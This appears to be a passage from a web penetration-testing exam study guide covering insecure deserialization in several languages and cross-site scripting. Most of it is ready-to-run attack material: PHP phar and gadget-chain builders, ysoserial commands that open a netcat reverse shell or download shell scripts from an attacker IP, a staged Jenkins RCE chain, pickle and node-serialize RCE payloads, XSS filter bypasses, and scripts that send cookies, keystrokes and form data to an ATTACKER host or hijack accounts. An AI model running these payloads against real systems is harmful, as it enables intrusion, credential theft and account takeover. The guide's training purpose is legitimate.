# paste the output into the vulnerable parameter (URL-encode it first if it is in a URL/GET)

The eWPTX PHP lab (XVWA) is exactly this: the PHPObjectInjection class's __wakeup() passes the inject property straight to eval(), so a forged object with inject = system('id') yields command execution, and a bash reverse-shell one-liner in inject yields a shell.

# URL-encode the serialized blob (bash payloads contain quotes/spaces/&) before sending
python3 -c "import urllib.parse,sys;print(urllib.parse.quote(open('payload.txt').read()))"
# or Burp Decoder -> Encode as URL

7.5.5 Property length-mismatch trick

Historically, unserialize() did not strictly validate the declared string length in some code paths, and app-side WAFs/filters count characters differently than the parser. Two related tricks:

# 1. O:+ form: a leading '+' in the property count/length was accepted by older PHP,
#    letting a payload slip past naive regex filters that expect O:<digit>:
O:+19:"PHPObjectInjection":1:{...}
# 2. Length mismatch to break a preg_replace/str_replace sanitiser: if a filter strips a
#    substring AFTER the length is written, deliberately mis-state s:<len> so that, once the
#    filter removes characters, the remaining string length matches and the object parses.
#    (Classic "PHP unserialize length attack" against filters that mutate the blob in transit.)

Use these when a clean serialized payload is rejected but you can see it reaches unserialize().

7.5.6 phar:// deserialization

unserialize() is not the only way to trigger PHP object instantiation. Phar archives store serialized metadata, and that metadata is automatically deserialized when any file operation touches a phar:// path — file_exists, fopen, file_get_contents, getimagesize, is_dir, md5_file, etc. So an SSRF/LFI/file-check on attacker-influenced paths becomes object injection with no unserialize() call in sight.

<?php
// build_phar.php - create a Phar whose metadata is a gadget object
// Run with:  php --define phar.readonly=0 build_phar.php
class PHPObjectInjection { public $inject = "system('id');"; }
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('x.txt', 'stub');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new PHPObjectInjection());   // <-- deserialized on any phar:// file op
$phar->stopBuffering();
// Rename to a benign extension (.jpg/.gif) if the target validates upload extension
# Trigger: get the app to run a filesystem function on your uploaded/hosted archive via phar://
#   file_exists("phar://uploads/exploit.jpg/x.txt")
# Any file-check on a path you influence + a loaded gadget class = RCE.
# Polyglot the phar into a valid GIF (prepend "GIF89a") to pass image-upload filters.

7.5.7 PHPGGC — gadget-chain payloads for frameworks

When the app has no obvious gadget of its own but loads a known framework, PHPGGC (PHP Generic Gadget Chains) generates ready-made chains for Laravel, Symfony, Monolog, Guzzle, WordPress, Doctrine, CodeIgniter, Drupal, Magento, etc.

git clone https://github.com/ambionics/phpggc.git && cd phpggc
./phpggc -l                              # list all available gadget chains
./phpggc -l Laravel                      # filter by framework
./phpggc -i Monolog/RCE1                 # show info/requirements for a specific chain
# Generate a Monolog RCE chain that runs `id`
./phpggc Monolog/RCE1 system id
# Generate a Laravel RCE chain, base64-encoded, ready for a cookie
./phpggc -b Laravel/RCE1 system 'id'
# URL-encode instead (for a GET/POST parameter)
./phpggc -u Guzzle/RCE1 system 'id'
# phar-wrapped output for a phar:// trigger, polyglot'd as a GIF
./phpggc -p phar -o exploit.phar -f Monolog/RCE1 system 'id'
# Matching a chain: fingerprint the framework and version (composer.lock, headers, /vendor
# paths, error pages), then pick the chain whose version constraint matches. -i shows
# whether the chain needs __destruct vs __wakeup and any preconditions.

7.5.8 Exam tips

  • Recognise it in seconds: a cookie or parameter beginning O: or a: (raw, URL-encoded, or base64). Decode with php -r 'var_dump(unserialize(...))'.
  • Read the format by hand. Fix s:<len> to match your value's real byte length or the parse silently fails and it looks "not vulnerable" — the single most common self-inflicted failure.
  • Find the gadget before forging. Grep the app source (if available) for __wakeup/__destruct/__toString and dangerous sinks (eval, system, exec, file_put_contents, call_user_func). No source → identify the framework and use PHPGGC.
  • No unserialize() reachable but file operations on your paths? Pivot to phar:// (upload a phar polyglot, trigger a file check).
  • Filter rejecting your blob? Try the O:+ form and the length-mismatch trick.
  • Evidence: the decoded original blob, your forged blob, the raw request carrying it, and the sink output (id → www-data) or the reverse-shell callback. Note the exact gadget class/chain used.

7.6 Java Insecure Deserialization

7.6.1 How Java serialization works

Java serializes an object's state to a binary byte stream via ObjectOutputStream.writeObject(); it rebuilds it via ObjectInputStream.readObject(). A class is serializable only if it implements Serializable.

// Writing an object to a .ser file
FileOutputStream f = new FileOutputStream("data.ser");
ObjectOutputStream out = new ObjectOutputStream(f);
out.writeObject(myItem);            // <-- serialization
// Reading it back
ObjectInputStream in = new ObjectInputStream(new FileInputStream("data.ser"));
Item s = (Item) in.readObject();    // <-- DESERIALIZATION: the dangerous call

7.6.2 The signature — how to recognise a Java serialized object

# Raw bytes ALWAYS begin with the magic:
AC ED 00 05        (hex)   ->  \xac\xed\x00\x05
# Base64-encoded, that same prefix reads:
rO0AB...                    ->  a value starting rO0 is a base64 Java serialized object
# gzip'd then base64'd (common in ViewState/JSF): starts H4sI

If you see rO0AB in a cookie, hidden field, ViewState, or request body, it is a base64 Java serialized object. This is the single most reliable Java-deser tell.

7.6.3 The vulnerable condition and gadgets

The exploitable pattern: readObject() (or a framework equivalent) is called on attacker-controlled bytes, and later a method runs on the reconstructed object. An attacker crafts a nested object graph whose reconstruction hijacks control flow (e.g. dynamic proxies + invocation handlers), ending in command execution.

Every property/method in that nested exploit object is a gadget. Certain widely-deployed libraries contain universal gadget chains; if such a library is on the classpath and the app deserializes untrusted data, it is exploitable. The library is not itself insecure — it becomes a weapon only in that combination.

Common gadget libraries / chains:

Libraryysoserial payload namesNotes
Apache Commons CollectionsCommonsCollections1 … CommonsCollections7the original (2015, Frohoff/Lawrence); pick the number matching the CC version on classpath
Apache Commons Collections 4.xCommonsCollections2, CommonsCollections4CC 4.0 line
Apache Commons BeanUtilsCommonsBeanutils1often present with Struts/Jenkins
SpringSpring1, Spring2Spring core/AOP on classpath
GroovyGroovy1Groovy runtime
HibernateHibernate1, Hibernate2ORM
ROMEROMERSS library
Jdk7/JRE8 built-insJdk7u21, JRMPClient, JRMPListenerno external lib needed (version-bound)
URLDNS (detection)URLDNSno RCE — DNS lookup only; works on ANY JDK, no gadget lib required

7.6.4 Identifying the entry point

Java "sends serialized objects everywhere." Look for rO0AB/AC ED 00 05 in:

Entry pointWhere
HTTP parameters / bodiesany rO0AB value
Cookiessession or state cookies
ViewStateJSF javax.faces.ViewState, ASP-style state on Java stacks
RMIJava RMI protocol is 100% serialization (registry on 1099, plus random high ports)
JMXmanagement interface, serialization-based
JNDIlog4shell-style lookups; RMI/LDAP references
Custom TCP protocolsthick clients, Jenkins CLI (raw serialized objects over a socket)
Message queuesJMS, ActiveMQ
RMI-over-HTTPmany Java thick-client web apps
# Grep captured traffic / files for the magic
grep -raoE 'rO0AB[A-Za-z0-9+/=]+' captures/          # base64 form
xxd suspect.bin | head -1                             # look for aced 0005
# Burp: search HTTP history for "rO0AB"; the "Java Deserialization Scanner" extension
# (adds an "active"/"manual" tester and DNS-based detection) automates discovery.

7.6.5 Detection with the URLDNS gadget (safe, universal)

URLDNS triggers a single DNS resolution during deserialization and needs no gadget library — it works against any Java version. It proves the sink deserializes your bytes without running commands (safe for scoped exams).

# 1. Generate a URLDNS payload pointing at your OOB listener
java -jar ysoserial.jar URLDNS "http://UNIQUE.oast.fun" > urldns.bin
# 2. Deliver urldns.bin to the suspected sink (cookie/param/body); base64 it if the field expects text
base64 -w0 urldns.bin
# 3. Watch interactsh / Burp Collaborator for a DNS lookup of UNIQUE.oast.fun
#    -> a DNS hit CONFIRMS the object was deserialized. No hit -> not deserialized (or no egress DNS).

7.6.6 ysoserial — building RCE payloads

# General form: java -jar ysoserial.jar <GadgetChain> '<command>' > payload.bin
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial.jar CommonsCollections5 'nc -e /bin/sh 10.10.14.5 9999' > payload.bin
java -jar ysoserial.jar CommonsBeanutils1 'curl http://10.10.14.5:8000/s.sh -o /tmp/s.sh' > p1.bin
java -jar ysoserial.jar Groovy1 'ping -c1 10.10.14.5' > payload.bin
# Deliver as base64 in a text field (cookie/param), or raw bytes to a socket
base64 -w0 payload.bin
# Raw bytes straight to an RMI/custom TCP listener:
java -jar ysoserial.jar CommonsCollections6 'id' | nc target 1099
# RMI / JRMP exploitation: stand up a malicious JRMP listener, coerce the target to connect
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 'id'
# JNDI/RMI reference attacks: pair with a rogue LDAP/RMI server (marshalsec) when the sink
# does a lookup rather than a raw readObject.
# Command-shape gotcha: gadgets exec via Runtime.exec, which does NOT parse shell operators.
# For pipes/redirects/reverse shells, wrap in an explicit shell:
#   bash -c {echo,BASE64_OF_CMD}|{base64,-d}|bash        (ysoserial handles this idiom)
# or write a .sh in one payload, chmod +x in a second, execute in a third (the course's Jenkins approach).

7.6.7 The course's Jenkins chain (CLI deserialization)

1. nmap -> Jenkins 1.566 on 8080 + a random high CLI port. This version's CLI is deser-vulnerable
   and CommonsCollections is on its classpath.
2. The CLI has two protocol versions; v2 is SSL, v1 is plaintext. Delete the X-Jenkins-CLI-Port /
   downgrade header so Jenkins falls back to unencrypted CLI v1 -> traffic is now injectable.
3. The exploit sends: [Jenkins-remoting header] + [base64 ysoserial CommonsCollections1 payload] +
   [captured trailing bytes]. readObject on the CLI socket runs the command.
4. Three staged payloads: (a) curl the reverse-shell script to /tmp, (b) chmod +x it,
   (c) execute it -> reverse shell on the netcat listener.
# Generating each stage with ysoserial (CommonsCollections1 matches Jenkins' classpath)
java -jar ysoserial.jar CommonsCollections1 'curl http://10.10.14.5:8888/shell.sh -o /tmp/shell.sh' > payload.out
java -jar ysoserial.jar CommonsCollections1 'chmod +x /tmp/shell.sh'  > payload.out
java -jar ysoserial.jar CommonsCollections1 '/bin/bash /tmp/shell.sh' > payload.out
# each payload.out is fed to the Jenkins exploit script:  python exploit.py <jenkins-ip> 8080 payload.out

7.6.8 Exam tips

  • rO0AB / AC ED 00 05 is the whole game — find it and you have your entry point. Search all cookies, params, ViewState, and captured TCP.
  • Confirm with URLDNS first. It is safe, needs no gadget lib, and a DNS callback proves the sink before you fire an RCE payload.
  • Match the gadget to the classpath. If you can read WEB-INF/lib or a version string, choose the exact CommonsCollectionsN. Otherwise spray CC1–7, CommonsBeanutils1, Spring1/2, Groovy1.
  • Wrap complex commands in a shell (bash -c {echo,...}|{base64,-d}|bash); Runtime.exec will not honour |, >, ; on its own. Staging (download/chmod/exec) is the reliable fallback.
  • RMI/JMX/JNDI targets need JRMP/marshalsec listeners, not a plain HTTP POST — recognise these entry points so you reach for the right delivery.
  • Evidence: the located rO0AB value, the URLDNS callback log, the ysoserial command line, and the shell/command output. Record which gadget chain succeeded.

7.7 Other serialization formats (recognise on sight)

You will not necessarily exploit these on the exam, but you must identify them to pick the right tool.

7.7.1 .NET

# BinaryFormatter serialized objects, base64, begin: AAEAAAD/////  (base64 "AAEAAAD...")
# Also watch for: SoapFormatter (XML), LosFormatter/ObjectStateFormatter (ASP.NET __VIEWSTATE),
# Json.NET with TypeNameHandling ("$type": "System..."), NetDataContractSerializer.
# ysoserial.net - the .NET analogue of ysoserial
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c whoami" -o base64
# ViewState (needs the machineKey if MAC-enabled; often leaked or blank in labs):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" \
  --generator=<__VIEWSTATEGENERATOR> --validationkey=<KEY> --validationalg=SHA1

Common .NET gadgets: TypeConfuseDelegate, ObjectDataProvider, WindowsIdentity, TextFormattingRunProperties, ActivitySurrogateSelector. Formatters: BinaryFormatter, LosFormatter, SoapFormatter, Json.Net, DataContractSerializer.

7.7.2 Python pickle

# pickle byte stream: often starts \x80 followed by a protocol byte (\x80\x04 = protocol 4,
# \x80\x03 = protocol 3). Base64 protocol-4 pickles frequently start "gAS" / "gAR" / "gAN".
# The tell-tale is the trailing "." (STOP opcode) and readable class/module strings inside.
# RCE via __reduce__ - the object controls what runs on unpickling
import pickle, os, base64
class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
# any pickle.loads()/pickle.load() on this = command execution

Django/Flask sessions using pickle, cached objects, and PyYAML yaml.load (pre-safe) are the usual sinks.

7.7.3 Ruby Marshal

# Marshal.load byte stream: begins \x04\x08  (major/minor version 4.8).
# Base64 of that starts "BAh". Rails cookies/caches may carry Marshal data.
# Universal gadget chains exist (e.g. via ActiveSupport); Marshal.load on untrusted data = RCE.
# Ruby deser gadget generator
gem install universal_deserialisation_gadget 2>/dev/null # or use known Ruby POP chains

7.7.4 Node.js node-serialize

# node-serialize / funcster: JSON-like blob containing the marker _$$ND_FUNC$$_
# and an "Immediately Invoked Function Expression". If you see _$$ND_FUNC$$_ it is node-serialize.
// Payload: an IIFE (trailing "()") runs on unserialize()
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',(e,o)=>{console.log(o)});}()"}
// URL-encode and place in the cookie/param that reaches node-serialize.unserialize()

7.8 Detection cheat-table — "what serialization format is this blob?"

Decode base64/URL first, then match the leading bytes / markers:

You see (raw or decoded)FormatLanguage / stackTool
AC ED 00 05 (hex) / rO0AB (b64) / H4sI+rO0 (gzip+b64)Java native serializationJava (Tomcat/JBoss/WebLogic/JSF ViewState/RMI)ysoserial, Java Deser Scanner
AAEAAAD///// (b64 AAEAAAD...).NET BinaryFormatter.NET / ASP.NETysoserial.net
<__VIEWSTATE> big base64 on an .aspx app.NET LosFormatter/ObjectStateFormatterASP.NET WebFormsysoserial.net -p ViewState
"$type":"System...." in JSONJson.NET TypeNameHandling.NETysoserial.net -f Json.Net
O:4:"User":... / a:2:{...}PHP serialize()PHPPHPGGC, hand-crafted
\x80\x04 / \x80\x03 (b64 gAS/gAN), trailing .Python picklePython (Django/Flask/cache)__reduce__ payload
\x04\x08 (b64 BAh)Ruby MarshalRuby / RailsRuby POP chains
_$$ND_FUNC$$_ inside JSONnode-serialize / funcsterNode.jsIIFE payload
Readable JSON, no $type/_$$NDplain JSONanyusually safe (data-only) unless polymorphic typing enabled
YAML with !!python/object or !ruby/objectunsafe YAMLPython/Rubytag-based RCE via yaml.load/YAML.load
XML with class/type attributes (XStream/XMLDecoder)Java XML serializationJavaXStream/XMLDecoder gadgets (ysoserial has some)
# Fast decision flow:
# 1. Is it base64/url? decode it.
# 2. First bytes AC ED / rO0AB      -> Java     -> ysoserial
# 3. First bytes AAEAAAD            -> .NET      -> ysoserial.net
# 4. Starts O: or a:                -> PHP       -> PHPGGC
# 5. \x80 + proto byte, ends '.'    -> Python    -> pickle __reduce__
# 6. \x04\x08 / BAh                 -> Ruby      -> Marshal chain
# 7. contains _$$ND_FUNC$$_         -> Node       -> node-serialize IIFE
# 8. contains $type / ViewState     -> .NET variants

7.8.1 Exam tips (deserialization overall)

  • Format ID is step zero. The whole rest of the attack (tool, gadget, delivery) follows from correctly reading the first few bytes. Base64-decode before judging.
  • Cookies and ViewState are the richest sinks in exam apps — check them first for rO0AB, O:, AAEAAAD, BAh, gAS, _$$ND_FUNC$$_.
  • Confirm before you weaponise: URLDNS (Java), a benign id/sleep, or an OOB callback proves the sink deserializes your data without risking instability.
  • No app-native gadget? Use the framework's. ysoserial / ysoserial.net / PHPGGC exist precisely because the gadget lives in loaded libraries, not the app.
  • Record: the raw blob, its identified format, the tool + gadget/chain used, the exact request, and the command output or callback. That is a complete, reproducible deserialization finding.

8. Core Web Attack Reference (assumed knowledge)

The eWPTX assumes you already own the eWPT attack classes. The exam does not re-teach them but freely builds on them — an SSTI is reached through an IDOR, a file upload is the only path to RCE, an XSS is the delivery vehicle for an account takeover. This section is the compressed playbook for all of them: detect → confirm → exploit → escalate, plus enough mechanism to improvise when the canonical payload is filtered.

Every payload here is copy-pasteable. Replace ATTACKER, 10.10.14.5, COLLAB (your Burp Collaborator / interactsh domain) and 4444 with your own values before use.

8.1 Cross-Site Scripting (XSS)

XSS is the execution of attacker-controlled script in the origin of the target application. The bug is output encoding, not input. The question you must answer for every reflection is: in which parser context does my input land, and what is the minimum set of characters that breaks me out of it into script execution?

8.1.1 The three types

TypePayload livesServer sees payloadPersistenceDelivery
ReflectedRequest → immediate responseYesNoneVictim must click your crafted URL
StoredDatabase / file / log → later responseYesUntil removedVictim just visits the page
DOM-basedSource → sink, entirely client-sideOften no (fragment # never sent)None (or stored via localStorage)Crafted URL
BlindStored, rendered in a place you cannot see (admin panel, log viewer, support ticket)YesYesCallback required to detect
SelfOnly executes in your own sessionYesVariesNeeds chaining (CSRF, login CSRF, cookie injection) to matter

Mutation XSS (mXSS) is a fourth mechanism rather than a location: the sanitiser sees safe markup, but the browser's HTML parser re-serialises and mutates it into unsafe markup when it is reinserted via innerHTML. See 8.1.11.

8.1.2 Detection

Do not start with <script>alert(1)</script>. Start with a canary — a unique, harmless string that lets you find every reflection and see exactly what survives encoding.

# Step 1: canary. Unique, greppable, contains every character that matters.
xss7t1<>'"&`/\=(){};:
# Step 2: read the response source (not the rendered page) and record for each reflection:
#   - which characters were dropped, HTML-encoded, backslash-escaped, or URL-encoded
#   - which parser context the canary landed in
# Step 3: probe the surviving characters in isolation
"><x                 # did the quote and angle brackets both survive?
'-alert(1)-'         # JS string context probe
\'-alert(1)//        # backslash-escaped quote probe
{{7*7}}              # template engine? (see 8.6 — a 49 here is SSTI, not XSS)

Tools: Burp Intruder with the canary across every parameter, then grep -> Extract; or Burp Scanner passive "input returned in response" issues. For DOM XSS, use the DOM Invader extension in Burp's embedded browser — it flags source→sink flows automatically.

8.1.3 Context analysis — the breakout table

This is the most important table in the XSS section. Identify the context, use the matching breakout.

#ContextExample sink markupBreakout payload
1HTML body / text node<div>INPUT</div><img src=x onerror=alert(1)>
2Attribute, double-quoted<input value="INPUT">"><img src=x onerror=alert(1)>
3Attribute, single-quoted<input value='INPUT'>'><img src=x onerror=alert(1)>
4Attribute, unquoted<input value=INPUT>x onmouseover=alert(1) (leading space, no < needed)
5Attribute, angle brackets encoded<input value="INPUT">" autofocus onfocus=alert(1) x="
6Inside <script>, raw<script>var a = INPUT;</script>alert(1)//
7Inside <script>, JS single-quoted string<script>var a='INPUT';</script>';alert(1)//
8Inside <script>, JS double-quoted string<script>var a="INPUT";</script>";alert(1)//
9Inside <script>, quotes escaped (\')var a='INPUT';\';alert(1)// (your \ escapes their \)
10Inside <script>, template literalvar a=`INPUT`;${alert(1)}
11Inside <script> but < allowedany</script><img src=x onerror=alert(1)>
12Inside a JS block comment/* INPUT */*/alert(1)/*
13Inside a JS line comment// INPUT%0aalert(1) (literal newline)
14Inside an HTML comment<!-- INPUT -->--><img src=x onerror=alert(1)><!--
15href / src / action URL<a href="INPUT">javascript:alert(1)
16URL, javascript: blocked<a href="INPUT">data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+
17Inside <textarea><textarea>INPUT</textarea></textarea><img src=x onerror=alert(1)>
18Inside <title><title>INPUT</title></title><img src=x onerror=alert(1)>
19Inside <style> / CSS<style>body{color:INPUT}</style></style><img src=x onerror=alert(1)>
20CSS property value onlystyle="width:INPUT"expression(alert(1)) (IE only) — else exfil only, see 8.1.13
21Inside a tag name position<INPUT ...>img src=x onerror=alert(1)
22Inside <iframe srcdoc><iframe srcdoc="INPUT">&lt;img src=x onerror=alert(1)&gt; (double-encode)
23Inside <noscript>, <xmp>, <plaintext><xmp>INPUT</xmp></xmp><img src=x onerror=alert(1)>
24Markdown rendered to HTML[text](INPUT)javascript:alert(1) or ![](x" onerror="alert(1))
25SVG upload rendered inline.svg file bodysee 8.4.7
26Angular / client template{{INPUT}}{{constructor.constructor('alert(1)')()}}

Rules of thumb that follow from the table:

  • Never inject < first. If you are already inside a script or an attribute, you do not need it, and if it is filtered you will wrongly conclude the parameter is dead.
  • Context 6–10 need no angle brackets at all. Many WAFs only filter <.
  • Context 4 (unquoted attribute) needs no quote either — just whitespace.
  • In context 9, \ is the escape character. \' closes nothing, but \\' gives a literal backslash followed by a live quote.
// Context 9 demonstration — server does addslashes(), turning ' into \'
// Sent:      \';alert(1)//
// Rendered:  var a='\\';alert(1)//';   <-- \\ is a literal backslash, the ' is live

8.1.4 Payloads that do not use <script>

<script> inserted via innerHTML does not execute. Event handlers always do. Prefer these.

<!-- Shortest reliable, works everywhere -->
<img src=x onerror=alert(1)>
<!-- Fires with no user interaction and no broken-image requirement -->
<svg onload=alert(1)>
<!-- Fires on page load, useful inside attribute contexts where you add attributes -->
<body onload=alert(1)>
<!-- Steals focus and fires immediately; ideal for attribute-only breakouts -->
<input autofocus onfocus=alert(1)>
<!-- Same, but works when <input> is filtered -->
<select autofocus onfocus=alert(1)>
<!-- No parentheses needed (bypasses ( ) filters) -->
<svg onload=alert`1`>
<!-- No alert keyword (bypasses keyword blacklists) -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<!-- Fires on any user interaction anywhere on the page -->
<body onpageshow=alert(1)>
<!-- Animation-based, survives some sanitisers that whitelist SVG -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- Detail element, fires on toggle, no image request -->
<details open ontoggle=alert(1)>
<!-- iframe srcdoc, double-encoded payload -->
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">
<!-- Video/audio, good when img/svg are blacklisted -->
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Form-based, fires on submit hijack -->
<form><button formaction=javascript:alert(1)>CLICK
<!-- Marquee, legacy but still parsed -->
<marquee onstart=alert(1)>

8.1.5 Event handler reference

When a blacklist kills onerror and onload, reach for these. All fire without a click unless noted.

HandlerFires whenCarrier tag
onerrorResource fails to loadimg, script, video, audio, object, source
onloadResource/document loadssvg, body, iframe, img (with valid src), script
onfocusElement focused — pair with autofocusinput, select, textarea, button, a href
onblurElement loses focussame as above
ontoggle<details> opened — pair with opendetails
onbegin / onend / onrepeatSMIL animation timelineanimate, set, animateTransform
onanimationstart / onanimationend / onanimationiterationCSS animation startsany, with a CSS @keyframes
ontransitionendCSS transition completesany
onpageshowPage shown (incl. bfcache)body
onhashchangeURL fragment changesbody (<body onhashchange=alert(1)> + #x)
onpopstateHistory navigationbody
onresizeViewport resizedbody, iframe onload combo
onscrollElement scrolled — pair with overflowbody, div
onplay / onplaying / oncanplayMedia beginsvideo autoplay, audio autoplay
onloadstart / onprogress / onloadedmetadataMedia fetch lifecyclevideo, audio
onmouseover / onmouseenter / onmousemovePointer over element (needs interaction)any
onpointerover / onpointerdown / onpointerenterPointer events (interaction)any
oncontextmenuRight click (interaction)any
oncut / oncopy / onpasteClipboard (interaction)any
onwheelMouse wheel (interaction)any
onsearch<input type=search> + Enterinput
ontoggle on <dialog>Dialog openeddialog open
<!-- No-interaction handler chain when onerror/onload are blacklisted -->
<style>@keyframes x{}</style><b style="animation-name:x" onanimationstart="alert(1)">
<!-- Scroll-based auto-fire (no user scroll needed on some layouts) -->
<div style="overflow:auto;height:1px" onscroll=alert(1)><div style="height:9999px"></div></div>

8.1.6 Filter and WAF bypasses

FilterBypassPayload
<script> string blacklistedUse another tag<img src=x onerror=alert(1)>
Case-sensitive blacklistMixed case<ScRiPt>alert(1)</sCrIpT>
Blacklist strips once, non-recursivelyNested keyword<scr<script>ipt>alert(1)</scr</script>ipt>
( ) blockedTemplate literal call<svg onload=alert`1`>
( ) and backtick blockedThrow/onerror trick<script>onerror=alert;throw 1</script>
Spaces blockedSlash or newline as separator<img/src=x/onerror=alert(1)> or <img%0Asrc=x%0Aonerror=alert(1)>
= blockedWrap in quotes with entity<img src=x onerror&#61;alert(1)>
alert blockedAlias / lookup<img src=x onerror=window['al'+'ert'](1)>
Keywords blocked broadlybase64 eval<img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
Quotes blockedUse String.fromCharCode or unquoted attrs<img src=x onerror=alert(String.fromCharCode(88,83,83))>
/ blocked (closing tag)Self-closing SVG<svg onload=alert(1)>
javascript: blocked in hrefEntity-encode the scheme<a href="java&#115;cript:alert(1)">x</a>
javascript: blockedWhitespace injection<a href="java\tscript:alert(1)"> / %09,%0a,%0d inside the scheme
. blockedBracket notationwindow['document']['cookie']
: blocked in URLUse data via // protocol-relative or srcdoc<iframe srcdoc="&lt;svg onload=alert(1)&gt;">
Content reflected in HTML entity-encoded formYou are in an attribute — use an entity&#106;avascript:alert(1) in href (browser decodes attrs)
Length limitLoader stub<script src=//ATTACKER/x></script> or <svg onload=eval(name)> with window.name set
Server strips < >Already-in-script or unquoted-attribute contextsee 8.1.3 rows 4, 6–10
<!-- Very short loader: set window.name on your page, then open the target -->
<svg onload=eval(name)>
<!-- Your page sets the payload in window.name, survives cross-origin navigation -->
<iframe name="alert(document.domain)" src="https://target/?q=%3Csvg%20onload%3Deval(name)%3E"></iframe>

8.1.7 Polyglot payloads

Use these when you cannot see the context (blind/stored) or want a single Intruder payload that covers many contexts. They are noisy — once one fires, go back and build the minimal context-specific payload for your report.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'"--><\x00/x><img src=x onerror=alert(1)>
"><svg onload=alert(1)>'"><img src=x onerror=alert(1)>//
</script><svg onload=alert(1)>
'-alert(1)-'"-alert(1)-"</script><svg onload=alert(1)>

8.1.8 DOM-based XSS

Entirely client-side: a source (attacker-controllable value) flows to a sink (an API that parses HTML or evaluates code) without sanitisation. The server may never see the payload — location.hash is not transmitted.

Sources

SourceNotes
location / location.href / location.search / location.hash / location.pathnamehash is never sent to the server
document.URL, document.documentURI, document.baseURI
document.referrerControllable by hosting the referring page
window.nameSurvives cross-origin navigation — great for length-limited XSS
document.cookieNeeds a cookie-injection primitive or sibling-domain control
postMessage event event.dataCheck for missing event.origin validation
localStorage / sessionStorageNeeds a prior write primitive
history.pushState / replaceState arguments
WebSocket / XMLHttpRequest / fetch response bodiesServer-controlled but often attacker-influenced

Sinks

SinkCategoryExecutes
eval(), Function(), setTimeout(str), setInterval(str), setImmediate(str)JS executionDirectly
element.innerHTML, outerHTML, insertAdjacentHTMLHTML parseEvent handlers only (not <script>)
document.write(), document.writeln()HTML parseYes, including <script>
element.setAttribute('on*', ...) / direct onclick= assignmentHandlerYes
location, location.href, location.assign(), location.replace(), window.open()Navigationjavascript: URLs
element.src on <script> / <iframe>ResourceYes
a.href, form.action, iframe.srcURLjavascript: / data:
jQuery: $(sel), .html(), .append(), .prepend(), .after(), .before(), .replaceWith(), .wrap()HTML parseYes
jQuery: $.globalEval(), $.parseHTML()JS/HTMLYes
Element.innerText / textContentSafeNo
range.createContextualFragment()HTML parseYes
DOMParser.parseFromString() then insertHTML parseOn insert
iframe.srcdocHTML parseYes
Angular $scope.$eval, ng-bind-html without $sceTemplateYes
React dangerouslySetInnerHTMLHTML parseYes
Vue v-htmlHTML parseYes
// Canonical vulnerable pattern
document.getElementById('out').innerHTML = decodeURIComponent(location.hash.slice(1));
# Exploit URL — payload after # never reaches the server, so server-side WAFs are blind
https://target/page#<img src=x onerror=alert(document.domain)>
// Vulnerable postMessage listener: no origin check, data to innerHTML
window.addEventListener('message', function(e){ document.body.innerHTML = e.data; });
<!-- Attacker page exploiting the above -->
<iframe src="https://target/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')"></iframe>
// jQuery selector sink — hash used as a selector, $() parses HTML if it starts with <
$(location.hash);        // exploit: https://target/#<img src=x onerror=alert(1)>
// DOM clobbering primitive: overwrite a global via id/name when code does `window.x || default`
// <a id=x><a id=x name=y href="javascript:alert(1)">  ->  x.y becomes the href string

Method: in Burp's embedded browser with DOM Invader on, set the canary, load the page, and read the reported source→sink chain. Manually, use Chrome DevTools → Sources → set a breakpoint on innerHTML via Event Listener Breakpoints, or search the JS bundle with grep -nE "innerHTML|document\.write|eval\(|\.html\(" app.js.

8.1.9 Exploitation PoCs

Cookie theft (only works if the session cookie lacks HttpOnly):

<!-- Simplest exfil: image beacon, no CORS restrictions on outbound image loads -->
<img src=x onerror="this.src='https://ATTACKER/c?'+document.cookie">
<!-- fetch with no-cors so it is not blocked and errors are silent -->
<svg onload="fetch('https://ATTACKER/c?c='+encodeURIComponent(document.cookie),{mode:'no-cors'})">
<!-- Beacon API: survives page unload, ideal for stored XSS on pages users leave quickly -->
<script>navigator.sendBeacon('https://ATTACKER/c',document.cookie)</script>
# Listener: netcat shows the raw request including the cookie in the query string
nc -lvnp 80
# Better: a real logger that keeps serving
python3 -m http.server 80        # then read the access log lines

Keylogger:

<!-- Captures every keystroke on the page and streams it to the attacker -->
<script>
document.onkeypress = function(e){
  fetch('https://ATTACKER/k?k='+encodeURIComponent(String.fromCharCode(e.which)),{mode:'no-cors'});
};
</script>
<!-- Form-scraper variant: grabs credentials on submit instead of per-key (less noisy) -->
<script>
document.addEventListener('submit',function(e){
  var d=new FormData(e.target), s='';
  for(var p of d) s+=p[0]+'='+p[1]+'&';
  navigator.sendBeacon('https://ATTACKER/f', s);
});
</script>

Page content / CSRF-token exfiltration (works even with HttpOnly):

<!-- Read the DOM of an authenticated page and ship it out -->
<script>
fetch('/account',{credentials:'include'}).then(r=>r.text()).then(t=>
  fetch('https://ATTACKER/x?d='+encodeURIComponent(btoa(t)),{mode:'no-cors'}));
</script>

XSS → account takeover (the real objective; HttpOnly does not stop this):

<!-- Fetch the CSRF token from the email-change form, then submit it to hijack the account -->
<script>
fetch('/my-account',{credentials:'include'})
 .then(r=>r.text())
 .then(t=>{
   var token = /name="csrf" value="([^"]+)"/.exec(t)[1];
   return fetch('/my-account/change-email',{
     method:'POST', credentials:'include',
     headers:{'Content-Type':'application/x-www-form-urlencoded'},
     body:'email=attacker@evil.tld&csrf='+encodeURIComponent(token)
   });
 });
</script>
